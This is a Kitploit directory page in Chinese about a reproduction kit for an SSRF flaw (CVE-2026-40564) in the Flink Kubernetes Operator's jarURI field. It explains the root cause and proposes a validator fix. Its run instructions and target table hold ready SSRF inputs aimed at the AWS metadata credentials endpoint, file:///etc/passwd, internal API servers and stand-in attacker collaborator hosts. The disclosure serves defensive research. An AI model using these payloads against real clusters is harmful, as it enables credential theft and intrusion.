Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40564 — CVE-2026-40564:通过 apache/flink-kubernetes-operator 中的 FlinkSessionJob jarURI 实现 SSRF。自包含的复现程序,可通过一条 make 命令在本地 kind 集群上运行。 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-40564
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564:通过 apache/flink-kubernetes-operator 中的 FlinkSessionJob jarURI 实现 SSRF。自包含的复现程序,可通过一条 make 命令在本地 kind 集群上运行。

查看仓库
164个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-40564:flink-kubernetes-operator 中通过 FlinkSessionJob.spec.job.jarURI 实现的 SSRF

Apache Flink Kubernetes Operator 不会检查 FlinkSessionJob(或 FlinkDeployment)资源上的 spec.job.jarURI 字段。任何能够创建这些资源的人都可以将 jarURI 设置为任意 URL。当 operator 协调该资源时,它会从自己的 Pod 内部获取该 URL。该 scheme 可以是 http、https、file 或 Flink 附带的任何文件系统插件,因此请求几乎可以到达 operator Pod 能到达的任何地方。

  • CVE:CVE-2026-40564
  • 影响版本:flink-kubernetes-operator 1.14.0 以及 main(截至 2026-04-09 为 1.15-SNAPSHOT)
  • 于 2026-04-09 报告至 [email protected] 和 [email protected]
  • 调用链:SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

运行方法

make verify

此命令按顺序执行以下五个步骤:

  1. 创建一个本地 kind 集群
  2. 使用 Helm 安装 operator(1.14.0)
  3. 启动一个 Flink 会话集群,并等待其 JobManager 启动
  4. 向 webhook.site 请求一个新的 URL,然后应用一个 jarURI 指向该 URL 的 FlinkSessionJob
  5. 轮询 webhook.site 并打印收到的请求

当它正常工作时,运行结束时的输出如下:

==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

第一次运行大约需要 6 到 8 分钟。其中大部分时间是拉取 flink:1.17 镜像,大小约为 700 MB。后续运行大约需要 3 分钟。

所需依赖

docker、kind、kubectl 1.23 或更新版本、helm 3、make、curl 和 jq。集群需要能够访问互联网,以便与 webhook.site 通信。

指向不同的 URL

默认情况下,Makefile 会为你获取一个新的 webhook.site URL。若要将请求发送到其他位置,请设置 SSRF_URL 为你想要的完整 jarURI。它将按原样使用。

# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd

确认结果的方式取决于目标。如果 URL 在 webhook.site 上,Makefile 会读取其 REST API 并打印捕获的请求。对于其他情况,它会读取 operator 日志并查找 HttpArtifactFetcher.fetch 的堆栈帧,这表示 fetch 已执行。WEBHOOK_URL 也可用,含义与 SSRF_URL 相同。

清理

make cleanup

这将移除 kind 集群。不会留下任何痕迹。

原因分析

涉及三个类,它们都没有检查 jarURI 中的 scheme、主机或 IP。

DefaultValidator.validateJobSpec 检查 parallelism、升级模式、savepoint 设置和资源形态。它从未读取 job.getJarURI():

private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch 根据 scheme 选择一个 fetcher。没有白名单,任何不是 http 或 https 的内容都会降级到 Flink 的文件系统层:

public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch 按给定的 URL 打开连接。没有主机检查,没有 IP 范围检查,也没有任何阻止它访问回环或链路本地地址的措施:

public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

攻击者能够获得什么

operator 通常拥有广泛的 RBAC 权限。官方 Helm chart 对多种资源类型授予了 * 权限,包括 secrets,并且 pod 通常可以不受限制地访问网络。如果攻击者能够让它替你发送请求,你可以:

  • 读取云元数据服务(AWS、GCE、Azure)并提取与 operator 节点关联的 IAM 凭证
  • 访问集群内部仅在内网监听的服务,或信任 operator 源 IP 的服务
  • 盲扫内部端口,通过 FlinkSessionJob 状态中的错误信息读取结果
  • 使用 file、s3、hdfs、gs 或任何其他 Flink 文件系统 scheme 来读取本地文件,或与 operator 能够访问但你无法访问的存储通信

在共享集群上,多个团队使用同一个 operator,其中任何一个团队都可以利用它访问其他团队的资源。

其他可用的 URL

示例默认使用 webhook.site,但该漏洞不关心 URL 是什么。将 SSRF_URL 或编辑 manifests/vulnerable-sessionjob.yaml 设置为以下任意值:

jarURI可访问的目标
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1,operator pod 节点的 IAM 凭证
http://10.0.0.1:6443/api集群内的 API server,或任何将 operator IP 加入白名单的内部端点
file:///etc/passwdoperator pod 自身的文件系统,通过文件系统 fetcher 分支
s3://attacker-bucket/x.jarS3,使用 operator pod 的凭证

修复方法

在 DefaultValidator.validateJobSpec 中添加检查:

if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

给 KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES 设置默认值 Set.of("https")。需要 s3 或其他 scheme 的操作员可以自行添加。

两件值得做的事情:

  • 为 operator pod 添加一个 NetworkPolicy,阻止出口到链路本地(169.254.0.0/16)、回环地址以及已知的云元数据地址。
  • 在 AWS 上启用 IMDSv2。这样即使存在 SSRF 攻击,没有会话令牌也无法读取元数据服务,而 operator 没有理由发送会话令牌。

注意事项

Makefile 解决了两件在 Linux 上导致 kind 异常的问题。每个检查仅在问题实际存在时运行,因此可以安全地再次运行。

  1. CoreDNS 转发到回环地址。使用 systemd-resolved 时,kind 节点的 /etc/resolv.conf 指向 127.0.0.1,因此集群会将外部名称解析为 localhost。cluster-up 步骤重写了 CoreDNS 配置,使其转发到 1.1.1.1 和 8.8.8.8。
  2. operator pod 继承了主机的 DNS 搜索域。当 ndots 设置为 5 时,像 webhook.site 这样的名称会先添加主机搜索域,有些 ISP 会为无法识别的子域名返回 127.0.0.1。install-operator 步骤为 operator pod 分配了自己的 dnsConfig,以避免这种情况。

如果完整运行中途失败,你可以单独运行 make verify-ssrf。它会从正在运行的 FlinkSessionJob 中读取 jarURI,因此不依赖于本地保存的任何内容。

下载工具